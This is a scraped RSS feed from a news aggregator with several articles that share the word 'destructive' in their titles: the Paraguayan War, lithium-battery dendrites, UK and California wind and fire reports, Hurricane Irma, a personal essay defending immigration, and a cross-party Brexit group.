]]> https://briefnews.eu/baby-hands-lets-players-revisit-destructive-babyhood-in-vr/feed/ 0 The Modern Era's Most Destructive War Took Place in … Paraguay https://briefnews.eu/the-modern-eras-most-destructive-war-took-place-in-paraguay/ https://briefnews.eu/the-modern-eras-most-destructive-war-took-place-in-paraguay/#respond Wed, 27 Jun 2018 20:13:14 +0000 http://briefnews.eu/the-modern-eras-most-destructive-war-took-place-in-paraguay/ He signed the death warrants of his mother and sisters, but before Marshal-President Francisco Solano López could see the warrants carried out, Brazilian forces attacked his camp. Seriously wounded on February 28, 1870, the injured president was given a chance to surrender, but he refused, muttering the immortal words: “I die with my country.” One of the items recovered from his corpse was a ring engraved with the legend “Vencer o morir,” meaning “Win or die.”

Francisco Solano Lopez

That was to be the final act of the War of the Triple Alliance, aka the Paraguayan War, a grueling conflict spanning six years that killed — by bullets, disease and famine — 60 percent of the Paraguayan population, including more than 90 percent of the country’s adult men. Proportionally, it was the most destructive war of the modern era and had a profound regional impact; Brazil, Paraguay and Argentina have never been the same.

Theirs was a psychology of extremes, and they couldn’t stomach or even fathom any halfway choice or measure.

—Thomas Whigham, professor of history, University of Georgia

Brazil, a monarchy that favored a tiny elite, was far and away the most powerful nation in the region; Argentina was a de facto oligarchy with big landowners sharing power; and landlocked Paraguay, which had a history of isolationism, followed an openly dictatorial model. Wedged between Brazil and Argentina was tiny Uruguay, where power vacillated between two opposing factions. When Brazil threatened Uruguay with military intervention in 1864, López, the Paraguayan dictator, issued an ultimatum. Ignoring the pesky Paraguayan, Brazilian troops invaded Uruguay, and Paraguay retaliated by seizing a Brazilian warship in Paraguayan waters, thus sparking the war. Curiously, Paraguay invaded Brazil to the north (they could have gone the other way) while Brazil marched south, ensuring that their favored candidate, Venancio Flores, came to power in Uruguay.

In early 1865, says Thomas Whigham, a history professor at the University of Georgia, “Lopez had the silly idea of asking Argentina for permission to transit through their territory to intercept the Brazilian advance.” When Argentina refused, López declared war on them too and shortly thereafter the Triple Alliance — of Brazil, Argentina and Uruguay — was signed in secret.

From there, war would play out in three distinct phases. The Paraguayan offensive kicked things off with several battles in both Brazil and Argentina, all of which resulted in Paraguayan defeats. The second phase, from 1866 to 1868, proved to be a conventional war of attrition within Paraguayan territory. Apart from one major Paraguayan victory at Curupayty, most battles were won by the Alliance, who, in spite of overwhelming superiority, never managed to land a decisive blow — owing to poor leadership and decision-making. The final phase? Nothing more than guerrilla warfare, which began when the Brazilians seized Asunción, Paraguay’s capital, and ended with Lopez’s death.

Couple of brazilian officers in paraguay

The fact that the war lasted so long and claimed so many lives can be pinned to the Paraguayans’ inability to see reality and accept defeat. Leaders like Comandante Robles preferred to rip their dressings from wounds and die as heroes than to give up the fight, according to Captain Richard Burton’s 1870 book, Letters From the Battle-fields of Paraguay. Paraguayan valor seemingly knew no bounds. Poorly armed, prepubescent Paraguayan boy soldiers were regularly slaughtered by adult Brazilian troops. The Brazilian soldiers loathed having to kill the youths, but their commanders knew that the only way to win the war was to destroy the Paraguayan army. “Theirs was a psychology of extremes,” says Whigham, “and they couldn’t stomach or even fathom any halfway choice or measure.”

It’s easy to assume that the war was caused by a megalomaniac’s foolhardy decisions. But there were bigger political factors at play. Argentina and Brazil were both vying for Great Power status, writes Pelham Horton Box in The Origins of the Paraguayan War, and Paraguay was merely “the detonating point of the explosion.” The main factors? Political differences between the three protagonists, the arbitrary nature of the borders at the time and a lack of sensible diplomacy on all sides.

Gettyimages 150614514

Paraguay lost large swathes of territory to both Brazil and Argentina, but perhaps even more damaging was the mental scarring it caused, and still causes, to the national psyche. It also established the Brazilian military as a major opponent to Brazil’s monarchy, ultimately resulting in the overthrow of Pedro II in 1889. And in Argentina it put to bed the simmering conflict between Buenos Aires and the provinces, solidifying power in the capital once and for all.

“I see a lot of foolishness, fault, bravery and good spirit on all sides,” sighs Whigham. “It’s just a huge tragedy.”

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]]> https://briefnews.eu/the-modern-eras-most-destructive-war-took-place-in-paraguay/feed/ 0 Researchers “heal” destructive dendrite growth in lithium-metal batteries https://briefnews.eu/researchers-heal-destructive-dendrite-growth-in-lithium-metal-batteries/ https://briefnews.eu/researchers-heal-destructive-dendrite-growth-in-lithium-metal-batteries/#respond Thu, 29 Mar 2018 19:42:14 +0000 http://briefnews.eu/researchers-heal-destructive-dendrite-growth-in-lithium-metal-batteries/
These photos show dendrites after pulses of different current densities are applied, from lowest density at the top to highest at the bottom.

These photos show dendrites after pulses of different current densities are applied, from lowest density at the top to highest at the bottom.

Dendrites—branching structures that look like tree limbs—are fun to draw, good on neurons, but generally to be avoided in lithium-ion batteries. As ions are exchanged between the anode and cathode over several charge and discharge cycles, lithium electrodes will sometimes grow dendrites that can expand through the electrolyte that separates the anode and cathode. These dendrites can reduce the battery’s capacity, shorten the life of the battery, or even start fires as the dendrites heat up. (Dendrites were found in the batteries related to the Boeing 787 battery fires that happened in 2014, for example.)

But researchers from Rensselaer Polytechnic Institute in Troy, New York, have proposed a way to ameliorate this dendrite growth. They’ve done this not by fighting against the dendrites and trying to contain them (as many researchers have attempted), but by using the tendency of dendrites to heat up in response to high current density to make those electrode growths smaller.

By applying a high-current pulse to a lithium-metal anode, the researchers were able to produce heat that wasn’t enough to melt the lithium metal but was enough to encourage “extensive surface migration” of the lithium atoms. That essentially “healed” the lithium-metal anode of newly-growing dendrites, which smoothed out the surface of the lithium anode again.

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]]> https://briefnews.eu/researchers-heal-destructive-dendrite-growth-in-lithium-metal-batteries/feed/ 0 BBC weather: Matt Taylor warns of ‘DAMAGING’ and destructive winds battering the UK https://briefnews.eu/bbc-weather-matt-taylor-warns-of-damaging-and-destructive-winds-battering-the-uk/ https://briefnews.eu/bbc-weather-matt-taylor-warns-of-damaging-and-destructive-winds-battering-the-uk/#respond Thu, 18 Jan 2018 08:28:27 +0000 http://briefnews.eu/bbc-weather-matt-taylor-warns-of-damaging-and-destructive-winds-battering-the-uk/

Matt advised BBC Breakfast viewers to be careful when traveling today as the wind will increase in speed.

The meteorologist began his weather report by explaining that there has been numerous weather warnings issued due to snow.

In particular, the north east of England has seen a lot of snowfall and rain, while strong wind has gathered in some parts of south England. 

Although the snow has been fizzling out in the last few hours, there will be ongoing impacts throughout the morning.

Almost seven inches of snow has fallen overnight with Spadeadam, Shap and Albermarle seeing the most.

While in Loftus and Northallerton there has been only a few centimetres of snow fall.

However, it is the strong winds that will prove most problematic today as in Bedford and eastern parts of England the wind will move at more than 60mph. 

In coastal parts of England, East Anglia and Lincolnshire there could be wind gusting to 80mph, with Matt pointing out that these are “damaging and destructive gusts of wind”.

Further west, it will still be gusty with a few showers in Wales and the south west of England, while heavy shower is expected in north west England.

However, the weather will improve as far as the rain and snow is concerned in northern England.

But, in Scotland and Northern Ireland ice will still be hazardous, while the west is expected to see a mixture of sleet and snow, with temperatures as low as minus six in north east Scotland.

Today will be a rather blustery one with lots of showers in the west, while in Scotland, Northern Ireland and England there is expected to be more sleet and snow.

Some southern and eastern parts will stay dry but the wind will make it feel very cold.

On Friday, there will be lots of showers in western Scotland, Northern Ireland, northern England and Wales.

It will also be wet in the south with the potential for a mixture of rain, hail and sleet. 

By Saturday, the wind will ease down but there will still be a few showers in across the UK 

BBC Breakfast continues tomorrow on BBC One at 6am. 

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]]> https://briefnews.eu/bbc-weather-matt-taylor-warns-of-damaging-and-destructive-winds-battering-the-uk/feed/ 0 BBC Weather: Matt Taylor warns of destructive winds as Storm Eleanor batters the UK https://briefnews.eu/bbc-weather-matt-taylor-warns-of-destructive-winds-as-storm-eleanor-batters-the-uk/ https://briefnews.eu/bbc-weather-matt-taylor-warns-of-destructive-winds-as-storm-eleanor-batters-the-uk/#respond Wed, 03 Jan 2018 09:22:54 +0000 http://briefnews.eu/bbc-weather-matt-taylor-warns-of-destructive-winds-as-storm-eleanor-batters-the-uk/

Over the last few hours, the meteorologist revealed Storm Eleanor has left a “trail of damage” after winds of up to 100mph battered the UK.

There will also be high seas in the western half of the UK today along with the risk of minor coastal flooding.

However, there was some good news as Matt – who is stepping in for Carol Kirkwood – revealed Storm Eleanor is pushing off so the strong winds will ease.

Through the course of the day, there will be showers in western Scotland and northern Ireland but for the rest of the UK there will be dry spells.

Tonight, the showers will remain in some parts of Scotland and in southern western England. 

It will be a chilly start to the north and east of the UK tomorrow with the south having to endure the strongest winds. 

It will brighten up tomorrow with temperatures hovering around 12 to 13 degrees celsius in the northern half of the UK.

Although temperatures appear to be on the rise, Matt did warn colder air will return this weekend. 

BBC Breakfast continues tomorrow at 6am on BBC One. 

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]]> https://briefnews.eu/bbc-weather-matt-taylor-warns-of-destructive-winds-as-storm-eleanor-batters-the-uk/feed/ 0 The ‘Diablo winds’ explain why the fires burning California’s wine country became so destructive https://briefnews.eu/the-diablo-winds-explain-why-the-fires-burning-californias-wine-country-became-so-destructive/ https://briefnews.eu/the-diablo-winds-explain-why-the-fires-burning-californias-wine-country-became-so-destructive/#respond Mon, 09 Oct 2017 23:50:40 +0000 http://briefnews.eu/the-diablo-winds-explain-why-the-fires-burning-californias-wine-country-became-so-destructive/ santa rosa tubbs fire wildfire 2017California Highway Patrol/Golden Gate Division via Reuters

A series of fires in Northern California’s wine country is shaping up to be one of the worst firestorms in state history. An estimated 20,000 people have fled the Sonoma and Napa valleys, as well as surrounding counties, as the fire races across fields and freeways.

More than 1,500 homes, businesses, and other structures have been destroyed. Schools and hospitals have been closed, and power outages are widespread. One person is dead.

The cause of the fires remained under investigation on Monday afternoon. But a weather phenomenon known as the “Diablo winds” is partly responsible for the widespread devastation.

It’s peak wildfire season in California, and October is a notoriously challenging month for firefighters. Typically, sea breezes come off the Pacific Ocean and make landfall. In the fall, high pressure builds in the Great Basin — a huge swath of land that spans much of the western US — and causes wind to blow in an opposite direction, the Los Angeles Times reported.

Air descends from high elevations in Nevada and Utah down to sea level in Northern California, compressing and warming in the process. Winds — known as “Diablo winds” form.

In California’s wine country, these especially dry winds arrived overnight, Jan Null, an adjunct professor of meteorology at San Jose State University, told the Los Angeles Times. They reached speeds of over 50 miles per hour, with gusts as high as 70 miles per hour.

tubbs fire wildfire santa rosa northern california 2017Jeff Chiu/AP

Diablo winds probably didn’t create the fires, but they did worsen the issue. Dry conditions, low humidity, and flame-fanning winds turned buildings and trees to tinder at a rapid rate.

“It’s just about the worst case weather conditions to spread a wildfire quickly, given the fuel,” UCLA climate scientist Daniel Swain told the Los Angeles Times.

Fires spread from ridge top to ridge top overnight, stretching over eight California counties.

You can see gusts of wind blowing through the vineyard at this Napa Valley winery.

California Governor Jerry Brown issued a state of emergency for Napa, Sonoma, and Yuba counties on Monday morning — a declaration that mobilizes the California National Guard.

“This is really serious. It’s moving fast. The heat, the lack of humidity, and the winds are all driving a very dangerous situation and making it worse,” the governor said at a morning news conference. “It’s not under control by any means. But we’re on it in the best way we know how.”

NOW WATCH: This technological breakthrough may change everything about how we fight wildfires

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]]> https://briefnews.eu/the-diablo-winds-explain-why-the-fires-burning-californias-wine-country-became-so-destructive/feed/ 0 Immigration is inevitable — and it’s anything but destructive https://briefnews.eu/immigration-is-inevitable-and-its-anything-but-destructive/ https://briefnews.eu/immigration-is-inevitable-and-its-anything-but-destructive/#respond Mon, 18 Sep 2017 01:38:39 +0000 http://briefnews.eu/immigration-is-inevitable-and-its-anything-but-destructive/ immigrants naturalization ceremony prayer american flagREUTERS/Brian Snyder

On Oct. 1, 1977, my parents, my two sisters, and I boarded a Lufthansa plane in the dead of night in Bombay.

We were dressed in new, heavy, uncomfortable clothes and had been seen off by our entire extended family, who had come to the airport with garlands and lamps; our foreheads were anointed with vermilion. We were going to America.

To get the cheapest tickets, our travel agent had arranged a circuitous journey in which we disembarked in Frankfurt, then were to take an internal flight to Cologne, and onward to New York. In Frankfurt, the German border officer scrutinized the Indian passports for my father, my sisters, and me and stamped them. Then he held up my mother’s passport with distaste. “You are not allowed to enter Germany,” he said.

It was a British passport, given to citizens of Indian origin who had been born in Kenya before independence from the British, like my mother. But in 1968 the Conservative Party parliamentarian Enoch Powell made his “Rivers of Blood” speech, warning against taking in brown- and black-skinned people, and Parliament passed an act summarily depriving hundreds of thousands of British passport holders in East Africa of their right to live in the country that conferred their nationality. The passport was literally not worth the paper it was printed on; it had become, in fact, a mark of Cain. The German officer decided that because of her uncertain status, my mother might somehow desert her husband and three small children to make a break for it and live in Germany by herself.

So we had to leave directly from Frankfurt. Seven hours and many airsickness bags later, we stepped out into the international arrivals lounge at John F. Kennedy Airport. A graceful orange-and-black-and-yellow Alexander Calder mobile twirled above us against the backdrop of a huge American flag, and multicolored helium balloons dotted the ceiling, souvenirs of past greetings. As each arrival was welcomed to the new land, the balloons rose to the ceiling to make way for the newer ones. They provided hope to the newcomers: Look, in a few years, with luck and hard work, you, too, can rise here. All the way to the ceiling.

For most of our history as a species, since we evolved from being hunter-gatherers to pastoralists, humans have not been attuned to the radical, continuous movement made possible by modernity. We have mostly stayed in one place, in our villages. Between 1960 and 2015, the overall number of migrants tripled, to 3.3 percent of the world’s population. Today, a quarter of a billion people live in a country different from the one they were born in — one out of every 30 humans. If all the migrants were a nation by themselves, we would constitute the fifth-largest country in the world.

The signal challenge for the world’s richest countries in the 21st century is accommodation of a tremendously variegated influx of migrants. As climate change and political conflict drive ever greater numbers of people from the villages and war zones of the world, the displaced seek sanctuary anywhere they can find it. You think 5 million Syrian refugees are a problem now? What happens when Bangladesh gets flooded and 18 million Bangladeshis have to seek dry land?

Central America refugeesJohn Moore/Getty ImagesAt the same time, there has been a dramatic rise in income inequality. Today, the eight richest individuals, all men, own more than does half of the planet, or 3.6 billion people, combined. The concentration of wealth also leads to a concentration of political power and the redirection of outrage against inequality away from the elites and toward the migrants. When the peasants come for the rich with pitchforks, the safest thing for the rich to do is to say, “Don’t blame us, blame them” — pointing to the newest, the weakest.

What is the difference between the refugee and the migrant? It is a strategic choice of words, to be made at the border when you’re asked what you are; etymology is destiny. You could be sent back if you’re just an “economic” migrant, but you could also be shunned and feared if you’re identified as a refugee. Whether you’re running from something or running toward something, you’re on the run.

The refugee, as the Polish sociologist Zygmunt Bauman said in a 2016 interview with the New York Times, brings with him the specter of chaos and lawlessness that has forced him to leave his homeland. The economic and political disorder that was caused by the orderly rich countries when they sloughed off their redundant populations into colonies and then retreated, leaving behind ill-defined “nation-states.” The refugee, though, suffers from statelessness. He cannot “go home” because his home has been wrecked by banditry or desertification.

So, bearing the burden of his failed state, he comes knocking on the West’s doors, and if he finds one of them ajar, he slips in, not welcomed but barely tolerated. He may have been a surgeon in his alleged nation, but here he is ready to perform any task — clean the bedpans in a hospital where he is more qualified than most of the doctors — but can never hope to be one of them because of the laws protecting their guild from people like him. He must be abject, renouncing claims to an equitable share of the wealth of his new habitation or to any kind of political franchise. All he can hope for is a measure of personal security and the opportunity to remit enough money back to his family so that they can send the eldest boy to a private school near the refugee camp in which they await their chance to be reunited with their father, brother, husband in his marginal existence.

We reject the refugee in the orderly nations because he is the sum of our worst fears, the looming future of the 21st century brought in human form to our borders. Because he wasn’t necessarily impoverished in the country he came from — he might have been a businessman or an engineer just a year ago, before everything changed — he is a reminder that the same thing could happen to us, too. Everything could change radically, irrevocably, suddenly.

The West is being destroyed, not by migrants but by the fear of migrants.

Syria refugeeReuters/Muhammad HamedAnd yet the world’s richest countries can’t figure out what they want to do about migration; they want some migrants and not others. In 2006, the Dutch government tried to make itself unattractive to potential Muslim and African migrants by creating a film, “To the Netherlands,” that included scenes of gay couples kissing and topless women sunbathing. The film was a study aid for a $ 433 compulsory entrance exam for people immigrating for family reunification. Except those making more than $ 54,000 a year, or citizens of rich countries like the United States, for whom the requirement was waived. The film also showed the run-down neighborhoods where immigrants might end up living. There were interviews with immigrants who called the Dutch “cold” and “distant.” The film warned of traffic jams, problems finding a job, and flooding in the low-lying country.

In 2011, the city of Gatineau, Quebec, published a “statement of values” for new immigrants that cautioned against “strong odors emanating from cooking,” which might offend Canadians. It also informed migrants that, in Canada, it was not OK to bribe city officials. Also, that it was best to show up punctually for appointments. It followed a guide published by another Quebec town, Hérouxville, which warned immigrants that stoning someone to death in public was expressly forbidden. The warning was duly noted by the town’s sole immigrant family, which refrained from stoning its women in public.

In Germany, the country’s “welcome culture” changed in one season, from that guilt-expiating September in 2015 to “rapist refugees go home” after the Cologne attacks that same New Year’s Eve. Of all refugees, the most frightening is the womanless male migrant, his eyes hungrily scanning the exposed flesh of the white woman. The words the tabloids and right-wing politicians use to describe these Afghan or Moroccan men are similar to terminology used to describe black men in the United States in the early 20th century: as sex-hungry deviants. In 1900, South Carolina Sen. Benjamin Tillman spoke from the U.S. Senate floor: “We have never believed him [the black man] to be the equal of the white man, and we will not submit to his gratifying his lust on our wives and daughters without lynching him.”

Fast-forward to 2017: “Pro-rata, Sweden has taken more young male migrants than any other country in Europe,” said Nigel Farage, a British member of the European Parliament, in February. “And there has been a dramatic rise in sexual crime in Sweden — so much so that Malmo is now the rape capital of Europe.” This claim was quickly debunked: By 2015, the year Sweden took in a record number of asylum-seekers, sex crimes decreased 11 percent compared with the year before.

While it is true that there are horrific stories of organized rings of rapists with immigrant backgrounds — such as a group of Pakistanis in Rotherham, in the U.K., who groomed teenage girls for sex — there’s no evidence that immigrants overall rape or steal at rates higher than the general population. Mug shots of dark-skinned criminals, whether Moroccan or Mexican, somehow strike more terror in the Western imagination than those of homegrown white rapists. The fear is primal, tribal: They’re coming for our women.

Driven by this fear, voters are electing, in country after country, leaders who are doing incalculable long-term damage: Donald Trump in the United States, Viktor Orban in Hungary, Andrzej Duda and his Law and Justice party in Poland. It was fear of migrants that led British voters to vote for Brexit, the biggest own goal in the country’s history.

The phobia of migrants can be the greatest threat to democracy. Look at Germany under Chancellor Angela Merkel, with its flourishing economy and democratic institutions, and then take a look at its neighbor Poland, whose ruling party just attempted to take over its judiciary, or Hungary, where Orban has destroyed the country’s free press. It shows that when countries safeguard the rights of their minorities, they also safeguard, as a happy side effect, the rights of their majorities. The obverse is also true: When they don’t safeguard the rights of their minorities, every other citizen’s rights are in peril.

daca dreamers immigrants protest trump towerAssociated Press/Craig RuttleLast summer, I drove out to the Hungarian-Serbian border with a volunteer for a church-based organization providing supplies to refugees. I had been in Hungary for a week studying its attempt to win the crown of Europe’s most hostile country for refugees. All over the country, there were blue posters bearing questions like, “Did you know? Since the beginning of the immigration crisis, more than 300 have died in terrorist attacks in Europe,” and “Did you know? Brussels wants to settle a whole city’s worth of illegal immigrants in Hungary,” and “Did you know? Since the beginning of the immigration crisis, the harassment of women has risen sharply in Europe.” The government was urging its citizens to vote in a referendum against accepting an EU quota of refugees: 1,294 refugees in 2016, for a country with almost 10 million people.

We crossed the Serbian border at Roszke and spent four hours looking for a road to get to the cluster of tents we’d seen right by the side of the highway near the border. We drove on dirt roads in the depopulated countryside, past orchards of apple, peach, and plum trees. From the car window, I picked a purple plum off a branch. It wasn’t quite ripe yet.

A woman told us which road to take to the “Pakistani camp.” We rattled down a rutted road by the superhighway and came up to the camp. It was an instant South Asian slum, but with backpacking tents instead of plastic sheets, just like the Sziget music festival I’d just come from. The festival had been filled with golden children, the flowers of white Europe, who, on payment of the $ 363-per-person entry fee, could luxuriate in their own tent city for a week.

There were children in the refugee camp, too, but younger and brown: preteens and toddlers on the run with their families. They played cricket amid the garbage. It cost 1 euro to use the toilet at the border. So people from the long lines of cars waiting to cross used the bushes instead, which served as the migrants’ temporary home, where they slept and ate, waiting for the doors of Europe to open.

We opened the trunk of our car and handed out water bottles, chocolates, socks, and underwear. A group of men came over; when they identified me as Indian, they shook my hand and spoke to me in Urdu about their travels. One of them was from the Pakistani city of Lahore, where there were bombings and killings. He’d been here for just a few days. The Hungarians wouldn’t let him in even though he had no desire to stay in that country; he wanted to go on to Germany, Sweden. The Serbians wouldn’t let him go back to Macedonia. “It’s closed in the front. It’s closed from the back,” he said.

A large black vehicle pulled up, and two big Serbian policemen dressed in black stepped out. “Please go,” they told us; we didn’t have official permission to visit the camp. They reminded us that the Hungarians were worse than the Serbians: “They have drones and cameras” monitoring the camp from the other side of the border fence.

For the few refugees who make it over the fence, it’s no promised land. At the time, any migrant caught within roughly five miles of the border would be arrested and deported. The Hungarian provision has since been expanded to include migrants detained in any part of the country. In November 2015, Orban told Politico, “All the terrorists are basically migrants.” Like much else coming out of his mouth, this statement was factually wrong: Many of the perpetrators of terrorism, in Europe and elsewhere, are native-born, like Timothy McVeigh and Anders Behring Breivik.

Eight months later, he turned the statement on its head, broadening it: All migrants are terrorists. “Every single migrant poses a public security and terror risk.”

NOW WATCH: Here’s what happens when two hurricanes collide

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]]> https://briefnews.eu/immigration-is-inevitable-and-its-anything-but-destructive/feed/ 0 A rare, destructive hurricane is coming to Florida today https://briefnews.eu/a-rare-destructive-hurricane-is-coming-to-florida-today/ https://briefnews.eu/a-rare-destructive-hurricane-is-coming-to-florida-today/#respond Sun, 10 Sep 2017 15:26:38 +0000 http://briefnews.eu/a-rare-destructive-hurricane-is-coming-to-florida-today/

Enlarge / European model forecast position for Irma on Sunday evening, and future track. (credit: Weather Bell/Ars Technica)

Hurricane Irma made landfall on Sunday morning along the Florida Keys, with sustained winds of 130 mph. Although Irma has weakened some, this is still a rare and powerful storm that will have devastating effects on parts of the Florida peninsula, and will disrupt the entire state for days.

Irma’s forecast track is pretty well locked in, as the storm should essentially cruise up the western coast of the state—with the center remaining just on or off shore—before moving into the Florida panhandle, Georgia, and Alabama before dying over the southeastern United States. Winds, storm surge, and inland rain are all major threats for Florida.

Low pressure

When you watch television coverage of hurricanes, wind speeds get all of the attention. But for scientists, the key determinant of hurricane intensity is central pressure—the extent to which a storm’s center is lower than the Earth’s normal sea-level pressure of 1013.25 millibars.

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]]> https://briefnews.eu/a-rare-destructive-hurricane-is-coming-to-florida-today/feed/ 0 Cross-party MPs form rebel alliance to fight ‘destructive’ hard Brexit https://briefnews.eu/cross-party-mps-form-rebel-alliance-to-fight-destructive-hard-brexit/ https://briefnews.eu/cross-party-mps-form-rebel-alliance-to-fight-destructive-hard-brexit/#respond Mon, 10 Jul 2017 10:25:35 +0000 http://briefnews.eu/cross-party-mps-form-rebel-alliance-to-fight-destructive-hard-brexit/

Rebel MPs from across Britain’s political divide have formed a cross-party group to fight against the “hard and destructive” Brexit proposed by Prime Minister Theresa May.

Former Tory minister Anna Soubry and former Labour shadow business secretary Chuka Umunna are among those leading the effort. MPs for the Liberal Democrats, the SNP, the Greens, and Plaid Cymru have also signed up for the new All-Party Parliamentary Group on EU Relations.

Working closely with the group will be pro-European campaign groups including Open Britain, British Influence, the European Movement, and Best for Britain, which is backed by Gina Miller, who won her court battle on Brexit, forcing MPs to vote before May could trigger Article 50.

A so-called ‘hard Brexit’ would see the UK give up full access to the EU single market and customs union. The arrangement would prioritize giving Britain full control over its borders.

The cross-party group could cause a headache for May as she attempts to steer Brexit legislation through the House of Commons over the next two years.

Thursday’s publication of the Great Repeal Bill, which will transpose EU legislation into British law, is likely to be the first opportunity for the new group to scrutinize the next phase of Brexit. The legislation will be debated in the autumn.

Umunna, who led Labour’s rebellion against leaving the single market last month, told the Guardian that the group “won’t accept MPs being treated as spectators in the Brexit process, when we should be on the pitch as active players representing our constituents.”

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“The election result was an instruction for parliamentarians to put differences to one side and co-operate in the national interest.

“We will be fighting in parliament for a future relationship with the EU that protects our prosperity and rights at work, and which delivers a better and safer world,” he added.

Speaking on Sky News, Umunna said the group is not anti-May or anti-Corbyn.

“This is about the national interest. This is the biggest issue which is going to come and hit us in a generation. If we put party politics in the way of making sure we get the best deal we will never be forgiven by our constituents.”

May has vowed that the repeal bill will not water down workers’ rights or environmental standards. However, opposition MPs and rebel Tories fighting for a soft Brexit are likely to try to amend the bill to provide extra safeguards during its passage through parliament.

Some parliamentarians may also seek to limit so-called Henry VIII powers contained in the bill, which would give ministers the right to tweak legislation with minimal parliamentary scrutiny.

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